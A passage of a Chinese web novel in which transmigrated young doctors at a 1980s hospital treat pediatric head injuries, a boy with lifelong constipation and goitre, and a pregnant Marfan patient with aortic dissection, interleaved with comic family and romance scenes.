奶奶想起儿子的脸,补充道:“我觉得你也挺遗憾。” 黄春兰:“……” “你啊,就别杞人忧天了,”奶奶见黄春兰快被自己气出毛病,赶紧安慰,“我活了这么多年,比你们看得透彻,要想日子过得好,和钱不钱的没关系,得看人品。” 黄春兰说:“难道我们只能指望小陆是个好人?” “不,”奶奶坚定道,“要看南栀。” 黄春兰:“?” “这人呐,过得好不好,都看自己。同样的情况,不同的性格,她就是有不一样的结果。有句话怎么说,越爱折腾的过得越好!我们家小南栀,那一看就不是省油的灯,去哪都能过得好。” 黄春兰:“……” 怎么觉得都是歪理? 南栀的房间,陆随打开台灯,看到她刚整理好的内容。 “休息前就写了?” 南栀目光阴沉。 陆随回忆了下自己今天做过的事,应该没招惹南栀。 陆随说:“你记忆力好,不急着写完。” 南栀目光冰冷。 陆随:“……我今天和箫珵拌了几句嘴,你知道了?” 这孙子告密?! 南栀目光没变。 陆随:“……其实准备给你的录像带出了点儿问题,但绝对不是我本意。” 南栀起身。 陆随下意识举起手,“有话好好说,武力不能解决问题。” 南栀走到桌子旁边,懊恼道:“刚买的钢笔,又忘了盖笔帽,都干了。” 还是英雄牌的,她下了好大的决心才买的,花了好些钱。 陆随:“……” 哦,不是要找他算账。 陆随道:“放水里泡泡。” 南栀惊讶,“还能这样?” 她以前都是用中性笔或者铅笔,根本没写过几个钢笔字。 陆随说:“我以前都这样做。” 南栀夸奖道:“年纪大就是好哦。” 陆随:“……” 这话听起来并不会让人开心。 南栀:“你刚刚说的录像是什么?” “哦,奶奶的手术视频,录像机有点儿一般,录像带得拿去处理。” 南栀感动道:“奶奶真好,虽然嘴里说儿外建不起来,但总是会帮我。” 陆随:“……” 明明是他找人录的像。 陆随道:“奶奶白天回去休息,今晚还要再去医院,有几个孩子的情况不太稳定,她让我来接你,要你也去看看。” 说来也怪,陆嘉述忽然对南栀很上心。 虽然陆随早就想到会是如此,但……她好像已经上心到忘了自己还有个孙子了。 陆随被留下来一起吃晚饭。 家里来客人,黄春兰多炒了一盘菜,南栀两眼冒光,狼吞虎咽。 黄春兰把肺都咳出来了,都没能提醒到南栀,只好说:“这孩子太累了,平时不这样的。” 陆随保持微笑。 根据他的观察,南栀平时吃饭也飞快,每天都在赶时间。 黄春兰又咳了两声。 这孩子,也不知道在对象面前保持形象,她和南明杰刚相亲那会儿,她都不好意思吃饱! 南栀说:“妈,你咳嗽的声音听着没什么问题,但如果一直干咳的话,也不太好,要不我领你去医院检查?” 黄春兰:“……” “不用了,被你气好了。” 吃过饭,南栀和陆随一起骑自行车去医院。 陆嘉述已经到了,她有专车。 用她的话说,她奋斗一辈子,除了要光明正大骂那些不讲理的人外,不就是为了享受吗? 车得有,房子也得有。 她年轻那会儿老师还总提醒她要高风亮节,都被陆嘉述一一驳回,高什么风,亮什么节,干嘛非守着苦日子过? 房子已经建出来了,都是国家分配,不是她住,也有其他人住。 她不管,她努力就是为了过上好日子的! 陆嘉述正在和神外的医生讨论病例。 昨天送过来的两个孩子,有颅内出血的情况,神外想做手术。 见南栀进来,陆嘉述招呼道:“快来和神外的主任打招呼。” 徐江朝陆随伸手,“陆医生,小陆医生可是我们医院技术最好的医生,幸好有小陆医生……” 陆随的手还没伸过去,就被陆嘉述拍开,她把南栀叫过去,“这是儿科的南栀,你这里要是做手术,也让她多看看。” 陆随:“……” 瞧瞧,他说什么来着。 徐江诧异地看着南栀。 陆教授不介绍自己的孙子,反倒介绍一个不知名的小医生? 主要是看着年纪小,安全感极低。 徐江问:“儿科的医生?我以为儿科只有盛医生。” 南栀谦虚道:“以后还会有南医生的。” 徐江:“……” “你们是……亲戚?” 他想不通陆教授为何忽然提携一个小辈。 陆嘉述说:“哪能,我姓陆,她姓南,哪来的亲戚关系,我俩没啥关系。” 陆随看向陆嘉述。 陆嘉述:“?” 她看了陆随一会儿,“哦,好像是有点儿关系,这俩孩子订婚了。” 徐江恍然大悟。 难怪要提携嘛,是孙媳妇! 南栀还挺幸运,小医生嫁到医学世家,还有陆嘉述这么个泰斗级人物,不管她有没有真本事,将来都前途无量。 陆嘉述接着说:“不过啊,我还是希望你们俩能晚几年再结婚,这结婚是真耽误事,他爷爷还是入赘到我们陆家的,也没少耽误事,尤其是生孩子,要花很多时间。” 她板着脸提醒陆随,“你管好自己,不要耽误南栀发展。” 陆随:“……” 他就说嘛。 根本不是亲生的! 徐江看不懂了。 但他得给陆嘉述面子,也得给陆随面子,人家都说陆随将来是要接心外主任的班的。 徐江道:“那就一起来看看这两起病例。” 他把X片交给南栀,南栀递给陆随一张,二人都坐下。 不同科室的片子看法不同,好在南栀和陆随看得比较多,还是勤奋的啥都研究的阶段。 “线状骨折?” “我这个是颅骨骨折。” 徐江点头,“这两人入院后都出现昏迷、嗜睡的现象,而且都有颅内血肿。” “血肿多大?” “根据多田公式计算,一个8ml,一个15ml。” 南栀问:“徐主任建议手术?” 徐江点头,“外伤性颅内血肿是急重症。” 陆嘉述问:“你怎么看?” 南栀说:“我记得有非手术治愈的病例。” 徐江道:“不手术?这是不是太冒险了,万一病情恶化,就把孩子耽误了。” 陆嘉述问:“能给出方案吗?” 南栀想了想,说:“20%甘露醇每次1~2g每千克,地塞米松5mg,每日静滴2~4次,要密切观察患者的意识、瞳孔、呼吸、血压、脉搏等体征。” 徐江摇头,“如果血肿不能消除呢?太冒险。” “其实现在就有不手术的病例,而且手术与否,也要看患者的情况。” 南栀娓娓道来,“小儿颅骨比成人更薄,而且有弹性,对血肿压迫的代偿能力也比成人强,小儿合并脑挫裂伤的发生率比较低,相比较成 人,有很多优势,这是可以选择不做手术的理论基础。” “再说患者自身的情况。一般主张血肿量少、脑受压轻、中线移位不超过0.3厘米的,可进行非手术治疗,也就是保守治疗。我刚刚看了这两人的病例,完全符合。当然肯定还需要密切观察,如果病情恶化,就需要立刻手术。” 徐江思索好半晌,才点头道:“确实可以尝试。” 陆嘉述笑笑,“如果要手术,还得叫她过来,她想做外科医生。” 徐江问:“儿外?” 小儿外科的人才比较少,徐江是因为陆嘉述才有次猜测。 其实不仅是儿外,儿科就不是一个好选择。 儿科赚得少,事却要多得多,他刚来医院时,就有意避开儿科。 有几个人真的能走到陆嘉述这步? 他们这些人,能在临川市混得开就不错了,陆嘉述可是被首都看中,先调到富雅医院,后来又一手创办首都儿童医院的。 徐江笑着摇头,和其他人的反应一样。 康宁医院只要别越来越差,他就烧高香了。 至于陆教授带来的这位…… 徐江不好意思在人家未婚夫面前光明正大地看,便偷偷看南栀。 说话办事倒是很有条理。 但就怕将来是全科医生。 陆嘉述说:“总之,多看看就是了。” 敲定两个孩子的治疗方案,陆嘉述又带南栀和陆随去了病房。 主要是带南栀,陆随是顺便去的,陆嘉述见他也要去,还烦得直摇头。 陆随善意提醒,“我是您孙子。” 陆嘉述道:“你一个心外的,总来掺和儿科的事干什么?心外这么闲?” 陆随:“……” 亲情随风而散。 儿科的病房格外热闹,住的全是塌陷幼儿园的小朋友。 他们幼儿园的房子都是私人建的,用料不太扎实,盖了十几年就到了。 不过也有好处,目前为止,竟然还没有小朋友送命,只是有几个人动了大手术。 “鲁蓓蓓的眼囊虫病是个问题,她现在在单独的病房,恢复得一般,孩子的求生意志薄弱。” 陆嘉述推开病房门,吉姚正坐在病床旁抹眼泪。 她一看到南栀,眼泪落得更凶,“南医生,蓓蓓一直睡,醒了也不说话,她这是怎么了?” 南栀问:“她如果醒了,你打算说些什么?” 吉姚不解地看着她。 南栀说:“起码不要骂她。” “我怎么会骂她呢?她如果能醒过来,能好好地站在我面前,我可以用命换啊!” 陆随冷笑,“既然爱你的女儿,之前为什么不对她友善些?打工累就多休息,把时间放在陪女儿上,也比发泄怨气强。” 南栀怕吉姚太难过,便说:“要注意心理创伤,成年人被房子掩埋都会有后遗症,更别说她一个孩子,出事时又什么都看不清楚。” 吉姚捂住脸哭起来。 正巧前夫一家人赶过来。 前夫模样一般,看起来只是普通人。 他提着大包小包走进病房,“今天我看着,你去休息吧。” 吉姚看向前夫。 他们曾经恩爱,但彼此性格不合适,才走到今天这一步。 她恨他,恨他毁了她梦想中的家。 如果没有鲁蓓蓓,她宁愿一辈子不见他。 她甚至还试图给鲁蓓蓓改名字,但派出所不同意,说是改名字男方必须也在场。 她就不明白了,孩子是她生的,现在又离婚了,凭什么不能改名? 现在,这些怨恨都随风而去。 她计较不动了,起码前夫是真的爱女儿,这点她也能看得出来。 吉姚说:“你把东西放下,多来陪陪他,和她说会儿话。” 前夫点头,“知道了。” 吉姚站起身,拿起军绿色的粗布袋子,里面装着两个铝饭盒,是吉姚给鲁蓓蓓带的饭,她没吃两口就不吃了。 吉姚说:“她现在或许也不想看见我。” 吉姚叹口气。 她正要走,手便被一双小手拉住,鲁蓓蓓不知何时睁开眼睛,声音虚弱,“妈妈要走吗?妈妈别走了。” 这一刹那,吉姚泪如泉涌。 * 陆嘉述年纪大了,虽然没有重大疾病,但身体到底是比不上年轻人。 她带着南栀在病房转了一圈,确定没有突发情况后才离开。 离开前叮嘱南栀把周末的时间空下来。 陆随好奇道:“周末要做什么?” 陆嘉述说:“不该你问的事别打听。” 陆随:“……” 陆嘉述想了想,还是不放心,低声对南栀道:“你还年轻,心思最好放在事业上。” 南栀点头,“我会的!” 陆嘉述说:“一定要提防这个臭小子,就像是什么结婚啊、生孩子啊,一定要考虑!” 陆随:“……” 是谁前几天还在催他赶紧结婚的? 陆嘉述说完,觉得孙子听到这话会伤心,又补充道:“不过尽量别抛弃他。” 陆随:“……” 但只说别抛弃,好像又太为难南栀,他俩才相处多久,万一以后发现不合适呢? 陆嘉述说:“唉,随便吧,遇到更合适的,抛弃了也行。” 陆随:“……” 他要告到中央! 陆嘉述有专职司机,她坐车离开。 南栀羡慕道:“你的奶奶人好好哦,我以前都没有长辈关心。” 陆随:“是吗?” 感觉不出来啊? “她真的很为小辈考虑。” “哦?” “而且很支持我们的事业。” “是吗?” “还很关心我们!” 陆随惊讶道:“我奶奶吗?陆嘉述?别是误会了吧?” 和他认识的那位可一点儿都不像呢。 南栀要去病房找阮乔,陆随也要值班。 去病房的路上,二人遇到韦初雪。 韦初雪看起来也要值班。 陆随一看到韦初雪就头痛。 韦初雪在专业上倒是没什么可说的,但人就像打了鸡血,无时无刻都要奋斗。 听说她刚来医院时并不这样,后来也不知道经历什么,就开始一心想着壮大康宁医院。 比院长还操心。 操得心多了,院长都害怕见她,就怕她又要人才又要经费。 若她只是想在好医院工作,凭她的家世,大可直接跳槽,但她不愿意,就死守着康宁医院。 为了督促陆随,还提出要嫁给他,怎么想的?? 南栀这回认识韦初雪了,“咦,你喜欢的姑娘。” 陆随:“……” 他克制地提醒,“是这具身体原来主人喜欢的女孩。” 南栀惋惜道:“我的原主都没喜欢过男孩。” 陆随:“……” 这笔账也要记在他头上吗! 韦初雪朝二人走来。 陆随不是什么好脾气的人,不太想听说教,他拽着南栀要走。 韦初雪却加快脚步,“南栀!” 陆随停住。 恩?不是来督促他的? 韦初雪叫住南栀,忧心忡忡道:“听说陆教授再待几天就要离开,你最好想办法能让她多教教你,陆教授很厉害的。” 南栀看向陆随,不知道韦初雪葫芦里卖的是什么药。 韦初雪说:“你别怕陆教授,她的确和其他人不太一样,但心地很好,你可以利用陆随啊。” 南栀:“怎么利用?” “你马上就是陆家的孙媳妇,陆教授看在陆随的面子,也得多教教你吧?要是不教,你干脆就去欺负陆随,闹一闹,为了孙子的家庭, 陆教授怎么也得多考虑考虑。” 陆随:“?” 不是,当着他的面大声密谋?? 陆随好奇道:“你打算怎么欺负我?” 韦初雪看看陆随,又看看南栀,两人身板差着不少。 韦初雪说:“这样,你就说他打你,我肯定帮你。” 陆随:“……” 真是谢谢他们了。 南栀偷偷看了眼陆随。 坦白说这几次她没都能打得过陆随,有些难过。 好怀念他还是卫天的时候,可以随便摆弄…… 南栀说,“陆教授倒是愿意教我一些,不过有没有能打得过男人的方法?” 陆随:“喂。” 韦初雪说:“这要去找祁院长,她练过很多年,现在也没完全放下,听说压力大时还会去拳馆打拳击。” 南栀眼睛闪闪发亮,“练过之后就能打得过男人了吗?” “试试呗。” 陆随:“……” 他决定也找地方去练练。 阮乔从办公室走出来。 看到他们聚在一起,便朝南栀招手,“急诊那边来了个小孩儿,好像情况不是太危急,我想过去看看。” 南栀道:“一起去。” 阮乔看向韦初雪,低声问:“她没欺负你吧?” 南栀摇头。 陆随冷笑。 确实没欺负她,她们商量的都是如何欺负陆随。 呵呵。 几人朝急诊走去。 韦初雪和他们本来就不熟,还有自己的工作,当然不会跟着。 南栀问:“韦医生真的有点儿奇怪,她劝我找陆教授学习,好像一会儿有恶意,一会儿有善意。” 阮乔说:“我也不太清楚,我听说她有个什么朋友死了,在恩德走的。” 陆随也有这段记忆。 好友是自尽的,去世后韦初雪性情大变。 以前总是笑眯眯的,之后便苦大仇深,看到谁都想督促两句。 原主喜欢过韦初雪,一心替她排忧解难,但韦初雪什么都不肯说。 急诊室外有一个中年女人带着儿子在排队。 抢救室内也有病人,急诊医生一看到陆随便朝他招手,“陆医生,疑似主动脉夹层!” 陆随跑过去。 阮乔也想过去看,南栀拉住她,“学长能搞定,咱们看看这个孩子好了。” 阮乔打趣道:“你现在和学长待在一起的时间,比和你哥都长哦。” 话音刚落,箫珵便跑了过来,顺便和南栀打招呼,“你今天还值班?等我处理完再来找你。” 也是奔着主动脉夹层去的。 阮乔以前对学医的兴致不高,现在倒是有些羡慕。 能做大手术的,都是有真本事的。 “我要是以前努努力就好了,现在就能和我妈一起当医生,还能照顾她。” 杨芬现在住在阮乔给她租的房子里,很小,还在休养。 有几个医院朝她抛出橄榄枝,目前还没定好到底要去哪个医院。 南栀说:“现在也来得及呀。” “来得及吗?”阮乔举起手,“我拿笔都会抖,不像你,手稳稳当当。” 南栀走向小男孩,对阮乔说道:“现在练肯定来得及,以后我们一起练。” 小男孩已经看过医生,急诊给做了处理,急诊医生觉得问题没那么简单,正好他和阮乔很熟,就让她过来看看。 “我家孩子今天便秘,他说肚子胀,在厕所蹲了好长时间,后来说拉血了,我过去一看,好像是大便太硬,给撑破了,刚刚医生已经给处理过。” 他们处理完本来就走,但急诊的医生让他们再等一会儿,说会叫儿科大夫过来。 这段时间陆嘉述在康宁医院坐诊,好些关注医院的人都知道,她以为自己能等到陆嘉述,结果过来的是两个年轻人。 南栀在男孩身前蹲下,问:“你叫什么呀?” “幸起。” “小朋友的姓不常见哦,”南栀掏出听诊器,一边听诊一边问,“经常便秘吗?” 幸起的妈妈戴菲菲答道:“很久了,很常见,所以我也不惊讶。” “经常便秘可能是身体出现问题,多久能排便一次?” 戴菲菲说:“不用开塞露的话,得十来天吧。” “十来天?!”阮乔说,“这已经很严重了,持续多久了?” 戴菲菲道:“一出生就这样。” 南栀和阮乔这才明白急诊为什么特意给她们打电话。 南栀严肃道:“以前做过检查吗?” 戴菲菲点头,“但是都没查出来什么,现在也习惯了,反正就是我勤快点,多帮帮他。” 幸起盯着阮乔的白大褂,独自玩手指。 他今年已经有12岁,按照戴菲菲的说法,他有12年的便秘史。 南栀重新给幸起查体。 幸起的精神不错,心音也正常。 南栀摸到颈前部时,眉头拧起,“颈前区有两个肿物。” 阮乔问:“对称吗?” 南栀摇头,“不对称,而且大小不一。” “甲状腺肿大?”阮乔担忧道,“这可不正常。” 南栀又让幸起吐舌头。 他的嘴唇较厚,舌部、齿龈倒是没异常,不过明显甲状腺肿大。 见南栀神色严肃,戴菲菲紧张起来,“很严重吗?他平时身体不错的,只是便秘。” “有腹泻吗?” “没。” “精神状况怎么样,有没有容易暴躁?” “都没有。” 戴菲菲追问:“应该没什么问题吧?” 南栀说:“肿块是什么时候有的?” “这……”戴菲菲盯着幸起的脖子看了半天,“没看出有不对啊。” “没检查过?” 戴菲菲说:“他刚出生那几年,我们带他去过好几个医院,后来习惯了,这两年都没再去检查。” 当然也没查到颈部的肿块。 南栀收起听诊器,“建议入院检查治疗。” 戴菲菲心一惊,“这么严重?” “现在还不能断定,但从出生起就便秘,这显然不正常。这两年甲状腺也明显有问题,必须做详细检查才行。” 戴菲菲手足无措。 阮乔一直站在南栀旁边,低头时忽然发现白大褂口袋中的两块钱没了。 她习惯往衣服里塞钱,买东西更方便。 阮乔一抬头,就见幸起正把钱往兜里放。 这两块钱破了一个角,其余部分还很新,特征明显。 阮乔拧眉道:“你怎么偷钱?” 这句话把正商量住院事宜的南栀和戴菲菲惊到。 幸起迅速抄起口袋,抬头无辜地看着戴菲菲。 戴菲菲把幸起拉到身旁,“你说我儿子偷你的钱?” 阮乔道:“我都看见他拿着钱了,两块钱,现在就在他兜里。” “你说我们是小偷?!”戴菲菲脸色微变,她看向幸起,“儿子,你偷钱了吗?” 幸起摇头。 戴菲菲恼火道:“听见了吗,我儿子没碰过你的钱,我和我老公都赚钱,从来没缺孩子钱花,他会偷你的钱?你才赚几个钱?!” 阮乔的脾气上来,丝毫不让,“你把他口袋翻出来看看,两块钱,缺角,看看有没有!” “你还想搜身?!”戴菲菲骂道,“什么医院,找两个小年轻来看病,还诬陷我们偷钱!我们穷疯了非得偷你那两块钱?两块钱能干什么,也就只能在你们医院挂个号!你是在侮辱人!” 她拽着幸起往外走,“不看了!说什么有重病,我看就是为了骗我们兜里的钱!” “哎?你孩子偷钱,你还耍上脾气了?你爱看不看!”阮乔气呼呼道,“我就等他去派出所偷钱!” 阮乔倒是不在乎两块钱,是这娘俩太气人。 换成正常当妈的,知道自己孩子偷钱,那不得直接给两巴掌?这倒好,竟然还护着! 戴菲菲边走边骂,“我家幸起在学校测评全优!年年都是三好学生!我每天都给他零花钱,谁在乎你那两块钱?欺人太甚!” 阮乔险些气过去。 南栀见状,追上戴菲菲,“既然你说他没偷钱,我们看到他拿了,那就报案吧。” 戴菲菲无语,“为了两块钱报案?你们没病吧?” 南栀说:“你不愿意看看他兜里有没有钱,那就只能报案。” 幸起害怕地躲在戴菲菲身后,戴菲菲看了更是心疼。 无论如何都总不能让儿子去派出所啊,他才12岁。 戴菲菲掏出钱包,“行行行,不就是为了两块钱吗?谁在乎这点儿钱?我给你们!” 南栀说:“我们不要这个,只要他兜里的。” “我说了,我儿子没偷钱!” 南栀:“哦,那报警。” 戴菲菲:“……” 见南栀不依不饶,戴菲菲越来越气,但也只好去 摸幸起的兜,这一碰还真找到两块钱。 就像阮乔说的,真的缺个角。 急诊室外等候的病人和家属看着戴菲菲窃窃私语。 原来小孩子真会偷钱啊。 戴菲菲脸色愈来愈差,她看了幸起一眼,接着把钱甩给南栀,“这是我早上给他的零花钱,给你们了行吧?!别缠着我们!” 她拽着幸起快速离开。 阮乔气坏了,“她儿子偷钱,还挺理直气壮?!这钱是商店老板找给我的,当时因为缺个角,我们还理论了,我要跟她说清楚!她怎么这么蠢呢?!” “算了,”南栀说,“她不会承认的,而且……他们家现在严重的不是孩子偷窃的事。” 更严重的,是幸起的病。 今天他们没有入院治疗,将来就…… 很难说了。 第52章 第52章解决问题 南栀和阮乔没有立刻离开。 陆嘉述过来帮忙后,儿科多了很多实习生,住院部那边有实习生看着。 南栀还想看看主动脉夹层的病人。 抢救室,病人不在,但有好几个医生。 除了心外的陆随和箫珵,还有几个南栀没见过的医生。 阮乔低声道:“多学科会诊,看来很麻烦。” 南栀和阮乔站到一旁,尽量降低存在感。 急诊科医生看到南栀,道:“正好你们来了。” 阮乔:“还有我们的事?” 另一个医生说道:“听说陆教授回儿科看诊,需不需要把陆教授请过来?要尽量保住孩子。” 急诊科医生笑道:“南栀也挺不错的,好用。” 陆随示意南栀过去。 陆随开口,其他人也不再多话。 箫珵说:“病人是孕妇,A型主动脉夹层,孕28周,有马凡综合征,还有妊娠期糖尿病,因胸痛来急诊。” 阮乔倒吸一口冷气,“这么严重。” 主动脉夹层即血管内膜撕裂,血液进入血管壁形成假腔,随时有破裂可能,本身就危急。 马凡综合征是结缔组织疾病,主动脉中层结构异常,夹层风险更高,年轻时也会发病。 再加上病人是孕妇,还要考虑到腹中胎儿和是否能保住子宫,是个相当麻烦的手术。 难怪来了很多科室的医生。 陆随快速道:“超声心动图显示,患者主动脉夹层、主动脉窦部瘤、主动脉瓣中重度返流,没时间可耽搁,必须先行剖宫产术,再解决心脏问题。” 陆随看向箫珵,“可以做Bentall术吗?” 南栀说:“医院体外循环设备比较落后,氧合器效率低,只有经济发展好的大城市大医院才尝试过,我们没有高效的体外循环团队,我们现在只能做简单的房缺修补或者瓣膜手术。” 箫珵脸色苍白,他点头说道:“而且Bentall手术血管吻合复杂,我可能没法做。” 陆随平静道:“我来。” “你?你还没……” 陆随看向箫珵。 箫珵低声道:“陆随,你应该知道,我从来没质疑过你的技术,但你确实很久没上过台了。” 陆随说:“我做过几台主动脉夹层手术,不会忘,不管血管吻合有多复杂,我去做都会比你做得好,现在有更好的选择吗?” 南栀道:“那就按照现在的方式来做手术,能用什么便用什么,病人现在的情况支撑不了多久,没时间转院。而且我们做不了的手术,临川市其他医院也做不了。” “先做剖宫术,要尽量减少全麻时间,孩子交给你们,患者刚怀孕28周,孩子可能会有很大问题。剩下的我们来做,箫珵,你来做一助,家属那边要安抚好,一切危险因素必须提前告知,阮乔?” 箫珵和阮乔同时点头。 陆随看向其他医生,“走吧。” 医生们:“……” 他们呆愣地看着陆随。 这几人什么情况? 陆随还想做Bentall手术?? 首都那几家大医院做过,死亡率极高,可听陆随的意思,如果有设备条件他就敢做?? 还有那个儿科医生,说心外的事,她咋比箫珵还了解?? 最最重要的是,这段时间箫珵的技术是大家有目共睹的,以前箫珵和陆随相处,也是箫珵更高调一些,现在箫珵变成陆随的助手了?! 妇产科医生茫然道:“这就定好了?” 不问问他们的意见? 陆随快步离开。 南栀紧随其后。 只有箫珵停下来,客气道:“您有更好的方案吗?” 妇产科医生:“……,没有。” 箫珵:“好的,那就这样。” 妇产科医生:“……” 啊?? 孕妇今年三十三周岁,对于孕妇来说,年纪不小。 人被推进手术室,十几个家属等在手术室外。 箫珵和阮乔先去向家属说明情况,还要家属签字才能手术。 箫珵说完,孕妇的丈夫跌跌撞撞坐下,“这么严重,这么严重?她是不是活不了了?” 一对年纪大的夫妇着急地走过来,“大夫,一定要把孩子保住啊,孩子已经七个月了,是我们的孙子啊!我们马上就能看到孙子了!” 另一边人一听便火了,“你现在还想着孙子?我女儿命都快没了!” “那是她身体问题,我们能有什么办法?孩子是无辜的!大夫,保孩子!” 阮乔听得生气。 箫珵看向男人,冷冷道:“你也打算保孩子?” 男人抓着箫珵的衣角站起来,“保什么孩子,保我老婆!我要我老婆!” 男人的爸妈在一旁垂头丧气。 箫珵和阮乔的气顺了点儿。 箫珵说:“放心吧,医院没有保大保小,无论如何都会优先保证孕妇的安危。你签字吗?” 男人抓过笔,颤抖着签下名字。 阮乔瞪了男方家属一眼,“嫁给你们这样的人家,真是糟心。” 箫珵挑眉,“这也敢说?” “有什么不敢说的?”阮乔道,“天天见面的儿媳妇,还不如未曾谋面的孩子,嫁到这种人家,倒了大霉!” 箫珵:“……” 他想给阮乔鼓掌。 他和陆随去医院实习时,学的第一件事就是把嘴巴闭上,一不小心就会被举报投诉。 他是半句话都不敢多说,生怕惹上官司。 在八十年代当医生真好! 孕妇情况危急,需要立刻做手术。 南栀也换好无菌服跟着进去,她要帮着处理新生儿。 母有糖尿病、心血管疾病,又是早产,这是高危新生儿。 现在的医疗水平,孩子能不能活下来都是问题,需要提前准备新生儿复苏团队。 康宁医院有新生儿科,但现在是下班时间,只能找来值班医生,人手不够。 剖宫术很快结束。 南栀接过孩子。 婴儿不足月,没有哭声,肌张力一般。 南栀立刻将婴儿放到保暖台上,保持头部鼻息气味。 新生儿科被拉来的是住院医师,刚工作没多久,第一次遇到这种情况,身边又没有老师和主任,有点儿慌。 他的速度反倒不如南栀快。 南栀说:“清理羊水,手别抖。” 南栀声音平静,和陆随一样。 他们好像见惯了这种场面,没有露出一丝惊慌。 看着南栀,住院医师的心也平静下来,他点点头,开始工作。 婴儿呼吸微弱,接下来是氧气治疗。 需要用简易气囊面罩提供正压通气。 很快,婴儿被推走,陆随和箫珵继续手术。 出门前,南栀看向陆随。 他戴着口罩和帽子,只露出一双比平时凌厉的眼睛。 南栀朝他点点头,接着便走出去。 * 这一晚上,南栀大半精力都花在早产儿身上。 好在顺利保住他的命,现在转到儿科继续治疗。 住院医生佩服道:“你熟练得就像我们科的医生,说实话,我当时已经慌了,什么都想不起来,如果你不在,肯定要完了。你怎么什么都知道?” 南栀笑笑,“可能我还是刚高考完的阶段吧。” 学识最渊博。 而且后世的医疗发展比现在强得多,现在很多未知的问题,在后世已经有答案。 现在的某一难题对后世而言,极有可能是课本上简单的一句话,南栀若反应慢了,才是不正常的。 这都是医学界前辈奋斗的结果。 住院医师连连摇头,“你不是高考生,你是神仙!神仙下凡!” 南栀忍俊不禁。 这时,住院部有人闯进来,“医生?医生在吗?” 听声音很熟悉,南栀走出去,竟是郁格跑了进来。 郁格 看到南栀也很惊讶,“你怎么在?” 南栀道:“这是康宁医院儿科住院部。” “对对对,我这脑子,都忘了。”郁格跑得满头大汗,“听说孩子平安,我过来看看,他还好吗?” “孩子?” “我姐是郁薇。” 是主动脉夹层的孕妇。 南栀道:“孩子暂时还好,但不能出院,他是早产儿。” 郁格点头,“明白。” 他沉默片刻,说:“你实话告诉我,我姐能活下来吗?医生说很严重。” 南栀道:“真的很严重。” “希望大吗?” 南栀想到陆随。 孕妇的情况很糟糕,现在的医疗条件又极差,在她看来,希望渺茫。 但主刀的是陆随,南栀莫名其妙又多了些信心。 说实在的她根本没见过陆随做手术。 南栀说:“再等等吧,等等就知道了。” 手术持续到清晨。 郁格一直守在手术室门口,其余人昏昏欲睡。 至于郁薇丈夫的家人,早已离开,他们吵着要去见孩子,当时孩子还没脱离危险,南栀拒绝,他们便生气回家了。 只有郁薇的丈夫还在。 郁格看见他就闹心,脸拉得越来越长。 他起身走到男人身边,抓起他的衣领,“医生说了,我姐后续治疗需要很多费用,你知道吗?” 男人甩开郁格的手,“现在是提钱的时候?” 郁格道:“我是要问你,打算把我姐怎么样?” 出了这么大的事,他家人又是这么个态度,以后还能对郁薇好? 男人整理好衣领,道:“你们不放心,出院后让薇薇和孩子都去你家住。” 郁格炸毛,“这是什么意思?!” “我也去,”男人说,“如果不方便,我们一家三口就出去租个房子,现在都房改了,哪像以前那么困难?你放心,我爸妈的闲话,薇薇一句都听不见。” 郁格的毛又顺了,“姐夫,我就知道你行!” 男人:“……” 变脸比翻书还快。 可现在,他哪有心思考虑那么多,他听明白医生的意思了,郁薇存活的可能性不高。 如果没了郁薇,他真不知道以后该怎样继续生活。 手术室的灯终于灭了。 患者被推出来,陆随和箫珵随后走出来。 箫珵的眉头拧得很紧,“如果是在咱们那个时代做手术,肯定没这么糟糕。” 陆随道:“你也知道现在不是那个时代。” “算了,”箫珵说,“再说几句,人家要以为咱俩有病。” 陆随:“谁跟你是咱俩?” 箫珵:“……” 这会儿还要拌嘴?? 郁格和男人迎面走过来。 陆随道:“手术成功,但还要留在ICU继续观察,后续可能还会出现一系列问题。” 两人听不到后半句,同时松口气。 男人用袖子按住眼睛,一句话都说不出来。 郁格道:“先闯过一关再说,姐夫!以后咱俩就是亲兄弟!” * 南栀正趴在办公室睡觉,她整整一夜都没合眼。 阮乔风风火火跑进来。 南栀睡觉轻,听到声音便抬起头。 阮乔道:“抱歉抱歉,今天你回去休息,我留下来值班。” 南栀打了个哈欠,“你一直没睡?” “是啊,我一直在手术室里,”阮乔激动道,“你不知道陆医生缝血管缝得有多好,和那天给我妈做手术完全不一样!手速超快,盲探!每一针都是准的!你俩是人吗?你俩是神吧!” 技术高超的医生不少见,但像他们这个年纪就技术好的真不多。 南栀想到舍友们对陆随的评价,笑起来,“他应该挺厉害的。” 阮乔碰了碰她,“你的陆医生真不错啊。” 南栀说:“我们只是帮对方解决催婚的问题,他是我学长。” “啧啧,”阮乔说,“有的问题,解决解决着就可以去床上了。” 南栀:“啊?” 正好陆随和箫珵走进来,两人同时找到一把椅子坐下。 箫珵问:“在聊什么?” 南栀正巧好奇,“去床上可以解决什么问题啊?” 箫珵:“噗。” 阮乔:“……” 陆随奇怪道:“什么意思?” 南栀指了指陆随,又指了指自己,“咱俩,在床上,能解决什么问题?” 阮乔:“……” 她抱起白大褂想开溜。 陆随认真想了想,说:“没听说有什么手术要在床上做,是指患者的状态?” 阮乔:“……” 箫珵:“……” 阮乔:不跑了,绝对不跑了! 第53章 第53章报复 南栀和陆随友好地交流一番,最终认定,床上无法解决任何问题。 箫珵和阮乔面无表情听着。 箫珵现在对陆随有点儿放心。 怎么说呢,起码不会在这方面欺负南栀? 箫珵去找杯子倒水,阮乔把汽水递过去,“萧医生,你喝。” 橙子味的汽水,还是玻璃瓶的。 箫珵接过来,“你天天喝这个?” “以前喝,现在不喝了,”阮乔指着角落里的货箱,诚恳道,“我买了一箱,你都喝了吧,这玩意对身体不好。” 箫珵:“……” 他是喝还是不喝? 阮乔说:“我还买了些点心,桃酥,吃多了也不太好,萧医生你要不要?” 箫珵神色复杂,但照单全收,“能吃就行。” 阮乔最后又把窗台上的死花死草都处理掉。 本来也想送给萧医生的,但这样不太好。 毕竟萧医生是南栀的哥哥嘛,要厚道。 南栀和陆随的讨论还没结束。 箫珵道:“你俩的情商加一起都没过50,算了,这方面的事小孩子不懂,别讨论了。” 陆随冷眼看过来,“你的智商倒是有50,学校第一堂解剖课是被抬出去的。” 箫珵:“!!” 他怎么记得?! 当时陆随明明在镇定自若地动刀子!老师还在夸他! 箫珵也就吐了这么一回,还被记住了。 箫珵吃瘪,陆随惬意道:“以后我们还是少管彼此的事。” 箫珵:“……” 气人。 南栀还在问阮乔,“你刚刚的话到底是什么意思?什么是我不能问的?” 阮乔:“哎呀,是小孩子不要问。” 